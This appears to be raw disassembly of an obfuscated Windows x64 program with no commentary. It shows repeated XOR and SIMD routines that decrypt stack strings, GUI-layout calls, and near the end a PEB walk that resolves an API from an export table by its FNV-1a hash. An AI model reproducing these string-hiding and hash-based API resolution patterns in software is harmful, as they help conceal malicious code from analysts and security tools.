xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, qword [0x140117be0]
movss dword [rax + 0x1dd4], xmm6
movss dword [rax + 0x1dd8], xmm7
mov qword [rax + 0x1ddc], rdi
mov dword [rax + 0x1dc4], 2
mov byte [rax + 0x1dfc], 1
mov dword [rax + 0x1de4], 0x43e10000
mov dword [rax + 0x1de8], 0x43960000
mov ecx, 1
mov dword [rax + 0x1dc8], ecx
or dword [rax + 0x1dc0], 0x43
mov dword [rax + 0x1e20], 0x3f800000
movsd xmm0, qword [str.:___10iQI_G_]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1400ffe80]
mov dword [rbp + 0x128], eax
movzx eax, word [0x1400ffe84]
mov word [rbp + 0x12c], ax
cmp byte [0x1400ffe85], 0
je 0x1400780e3
mov r8d, edi
cmp r15d, 2
jl 0x14007809a
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.:___10iQI_G_]
pxor xmm2, xmm0
movd dword [rbp + 0x120], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x124]
pxor xmm2, xmm1
movd dword [rbp + 0x124], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x120]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400780b0
mov r8d, 0x168
lea rdx, [0x1401164f0]
lea rcx, [rbp + 0x120]
call fcn.14001f4c0
cmp byte [rsp + 0x60], 0
je 0x1400795e3
cmp dword [0x1401183e0], 0
jne 0x1400788fb
mov dword [rbp + 0x218], 0x428c0000
mov dword [rbp + 0x21c], 0x41c80000
movsd xmm0, qword [0x1400fff18]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x1400fff20]
mov word [rbp - 0x78], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140078171
mov byte [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_60
xor byte [rbp - 0x7f], 0x34
xor byte [rbp - 0x7e], 0x35
xor byte [rbp - 0x7d], 0x36
xor byte [rbp - 0x7c], 0x37
xor byte [rbp - 0x7b], 0x38
xor byte [rbp - 0x7a], 0x39
xor byte [rbp - 0x79], 0x3a
xor byte [rbp - 0x78], 0x3b
xor byte [rbp - 0x77], 0x3c
lea rdx, [rbp + 0x218]
lea rcx, [rbp - 0x80]
call fcn.14004b870
test al, al
je 0x140078198
xor al, al
mov byte [rsp + 0x60], al
mov r13b, 1
mov dword [0x1401183f0], 2
mov dword [rbp + 0x220], 0x43d70000
mov dword [rbp + 0x224], 0x43660000
movsd xmm0, qword [str.pZSoPT_SJ_]
movsd qword [rbp + 0x78], xmm0
mov eax, dword [0x1400ff910]
mov dword [rbp + 0x80], eax
cmp byte [0x1400ff913], 0
je 0x140078343
mov r8d, edi
cmp r15d, 2
jl 0x1400782f8
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pZSoPT_SJ_]
pxor xmm2, xmm0
movd dword [rbp + 0x78], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
pxor xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140078310
mov rbx, qword [0x140117be0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp + 0x78]
call fcn.140014880
cmp dword [rbx + 0x1d6c], eax
jne 0x14007838b
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14007839a
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rbp + 0x78]
call fcn.14001c560
test al, al
je 0x1400788fb
lea rcx, [rbp + 0x440]
call fcn.140076850
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
movaps xmm1, xmmword [0x1401007e0]
movups xmmword [rbp + 8], xmm1
mov dword [rbp + 0x228], 0x3f800000
mov dword [rbp + 0x22c], 0x3f800000
mov qword [rbp + 0x230], 0
mov dword [rbp + 0x238], 0x43cd0000
mov dword [rbp + 0x23c], 0x43340000
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x228]
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x238]
mov rcx, rsi
call fcn.14004ce40
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movsd xmm0, qword [str.__TBBK]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x1400ffef0]
mov word [rbp - 0x58], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400784fc
mov byte [rbp - 0x60], 0x53
xor byte [rbp - 0x5f], 0x34
xor byte [rbp - 0x5e], 0x35
xor byte [rbp - 0x5d], 0x36
xor byte [rbp - 0x5c], 0x37
xor byte [rbp - 0x5b], 0x38
xor byte [rbp - 0x5a], 0x39
xor byte [rbp - 0x59], 0x3a
xor byte [rbp - 0x58], 0x3b
xor byte [rbp - 0x57], 0x3c
lea rcx, [rbp - 0x60]
call fcn.14004adb0
movaps xmm6, xmmword [0x140100630]
mov rbx, qword [0x140117be0]
mov dword [rbp + 0x2c0], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x2c4], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp + 0x2c0]
call fcn.140034d90
movups xmmword [rbx + 0x16fc], xmm6
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [0x1400ff9c0]
movsd qword [rbp + 0x100], xmm4
mov eax, dword [0x1400ff9c8]
mov dword [rbp + 0x108], eax
cmp byte [0x1400ff9cb], 0
je 0x1400786f3
mov r8d, edi
cmp r15d, 2
jl 0x1400786a6
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400ff9c0]
pxor xmm2, xmm0
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
pxor xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400786c0
lea rcx, [rbp + 0x100]
call fcn.14004adb0
movaps xmm6, xmmword [0x1401007e0]
mov rbx, qword [0x140117be0]
mov dword [rbp + 0x2c0], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x2c4], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp + 0x2c0]
call fcn.140034d90
movups xmmword [rbx + 0x16fc], xmm6
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [str.vLE_E_J]
movsd qword [rbp - 8], xmm4
movzx ecx, word [0x1400ff920]
mov word [rbp], cx
movzx eax, byte [0x1400ff922]
mov byte [rbp - 8], 0x45
xor byte [rbp - 7], 0x34
xor byte [rbp - 6], 0x35
xor byte [rbp - 5], 0x36
xor byte [rbp - 4], 0x37
xor byte [rbp - 3], 0x38
xor byte [rbp - 2], 0x39
xor byte [rbp - 1], 0x3a
xor cl, 0x3b
mov byte [rbp], cl
xor byte [rbp + 1], 0x3c
xor al, 0x3d
mov byte [rbp + 2], al
lea rcx, [rbp - 8]
call fcn.14004adb0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
lea rcx, [rbp + 0x440]
cmp qword [rbp + 0x458], 0x10
cmovae rcx, qword [rbp + 0x440]
call fcn.14004adb0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1401003a8]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 0x240], 0x428c0000
mov dword [rbp + 0x244], 0x41c80000
mov eax, dword [0x1400ff7f8]
mov dword [rsp + 0x64], eax
movzx eax, byte [0x1400ff7fc]
mov byte [rsp + 0x64], Ordinal_79
xor byte [rsp + 0x65], 0x34
xor byte [rsp + 0x66], 0x35
xor byte [rsp + 0x67], 0x36
xor al, 0x37
mov byte [rsp + 0x68], al
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x64]
call fcn.14004b870
test al, al
jne 0x14007cb61
call fcn.14001c800
nop
mov rdx, qword [rbp + 0x458]
cmp rdx, 0x10
jb 0x1400788e2
inc rdx
mov rcx, qword [rbp + 0x440]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400788dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007cb5a
call fcn.1400e44b0
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x440], 0
cmp dword [0x1401183e0], 1
jne 0x1400795e3
mov dword [rbp + 0x248], 0x428c0000
mov dword [rbp + 0x24c], 0x41c80000
movsd xmm0, qword [0x1400fff88]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x1400fff90]
mov word [rsp + 0x78], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140078971
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_60
xor byte [rsp + 0x71], 0x34
xor byte [rsp + 0x72], 0x35
xor byte [rsp + 0x73], 0x36
xor byte [rsp + 0x74], 0x37
xor byte [rsp + 0x75], 0x38
xor byte [rsp + 0x76], 0x39
xor byte [rsp + 0x77], 0x3a
xor byte [rsp + 0x78], 0x3b
xor byte [rsp + 0x79], 0x3c
lea rdx, [rbp + 0x248]
lea rcx, [rsp + 0x70]
call fcn.14004b870
test al, al
je 0x140078999
xor al, al
mov byte [rsp + 0x60], al
mov r13b, 1
mov dword [0x1401183f0], 2
mov dword [rbp + 0x250], 0x43d70000
mov dword [rbp + 0x254], 0x43660000
movsd xmm0, qword [str.pZSoPT_SJ_]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400ff910]
mov dword [rbp + 0x90], eax
cmp byte [0x1400ff913], 0
je 0x140078b53
mov r8d, edi
cmp r15d, 2
jl 0x140078b05
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pZSoPT_SJ_]
pxor xmm2, xmm0
movd dword [rbp + 0x88], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c]
pxor xmm2, xmm1
movd dword [rbp + 0x8c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140078b20
mov rbx, qword [0x140117be0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.140014880
cmp dword [rbx + 0x1d6c], eax
jne 0x140078b9e
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140078bad
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x250]
mov edx, eax
lea rcx, [rbp + 0x88]
call fcn.14001c560
test al, al
je 0x1400795e3
lea rcx, [rbp + 0x368]
call fcn.140076850
nop
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movsd xmm0, qword [str.__TBBK]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400ffef0]
mov word [rbp - 0x68], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140078c98
mov byte [rbp - 0x70], 0x53
xor byte [rbp - 0x6f], 0x34
xor byte [rbp - 0x6e], 0x35
xor byte [rbp - 0x6d], 0x36
xor byte [rbp - 0x6c], 0x37
xor byte [rbp - 0x6b], 0x38
xor byte [rbp - 0x6a], 0x39
xor byte [rbp - 0x69], 0x3a
xor byte [rbp - 0x68], 0x3b
xor byte [rbp - 0x67], 0x3c
lea rcx, [rbp - 0x70]
call fcn.14004adb0
movaps xmm6, xmmword [0x140100630]
mov rbx, qword [0x140117be0]
mov dword [rbp + 0x2c0], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x2c4], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp + 0x2c0]
call fcn.140034d90
movups xmmword [rbx + 0x16fc], xmm6
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [0x1400ff9c0]
movsd qword [rbp + 0x110], xmm4
mov eax, dword [0x1400ff9c8]
mov dword [rbp + 0x118], eax
cmp byte [0x1400ff9cb], 0
je 0x140078e83
mov r8d, edi
cmp r15d, 2
jl 0x140078e42
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400ff9c0]
pxor xmm2, xmm0
movd dword [rbp + 0x110], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
pxor xmm2, xmm1
movd dword [rbp + 0x114], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140078e50
lea rcx, [rbp + 0x110]
call fcn.14004adb0
movaps xmm6, xmmword [0x1401007e0]
mov rbx, qword [0x140117be0]
mov dword [rbp + 0x2c0], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x2c4], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp + 0x2c0]
call fcn.140034d90
movups xmmword [rbx + 0x16fc], xmm6
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [str.vLE_E_J]
movsd qword [rbp - 0x30], xmm4
movzx ecx, word [0x1400ff920]
mov word [rbp - 0x28], cx
movzx eax, byte [0x1400ff922]
mov byte [rbp - 0x30], 0x45
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor byte [rbp - 0x2c], 0x37
xor byte [rbp - 0x2b], 0x38
xor byte [rbp - 0x2a], 0x39
xor byte [rbp - 0x29], 0x3a
xor cl, 0x3b
mov byte [rbp - 0x28], cl
xor byte [rbp - 0x27], 0x3c
xor al, 0x3d
mov byte [rbp - 0x26], al
lea rcx, [rbp - 0x30]
call fcn.14004adb0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
lea rcx, [rbp + 0x368]
cmp qword [rbp + 0x380], 0x10
cmovae rcx, qword [rbp + 0x368]
call fcn.14004adb0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1401003a8]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 0x258], 0x428c0000
mov dword [rbp + 0x25c], 0x41c80000
mov eax, dword [0x1400ff7f8]
mov dword [rbp - 0x10], eax
movzx eax, byte [0x1400ff7fc]
mov byte [rbp - 0x10], Ordinal_79
xor byte [rbp - 0xf], 0x34
xor byte [rbp - 0xe], 0x35
xor byte [rbp - 0xd], 0x36
xor al, 0x37
mov byte [rbp - 0xc], al
lea rdx, [rbp + 0x258]
lea rcx, [rbp - 0x10]
call fcn.14004b870
test al, al
je 0x140079583
call fcn.140070e30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400790b6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400790b6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400790b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079090
cmp r8d, 0x491e0a9c
je 0x1400790bb
test r9d, r9d
jne 0x140079070
mov rax, qword [rax]
jmp 0x140079040
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movups xmm0, xmmword [0x1401000b8]
movups xmmword [rbp + 8], xmm0
mov eax, dword [0x1401000c8]
mov dword [rbp + 0x18], eax
cmp byte [0x1401000cb], 0
je 0x1400792a3
mov r8d, edi
cmp r15d, 2
jl 0x14007925f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rbp + 0x2c0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
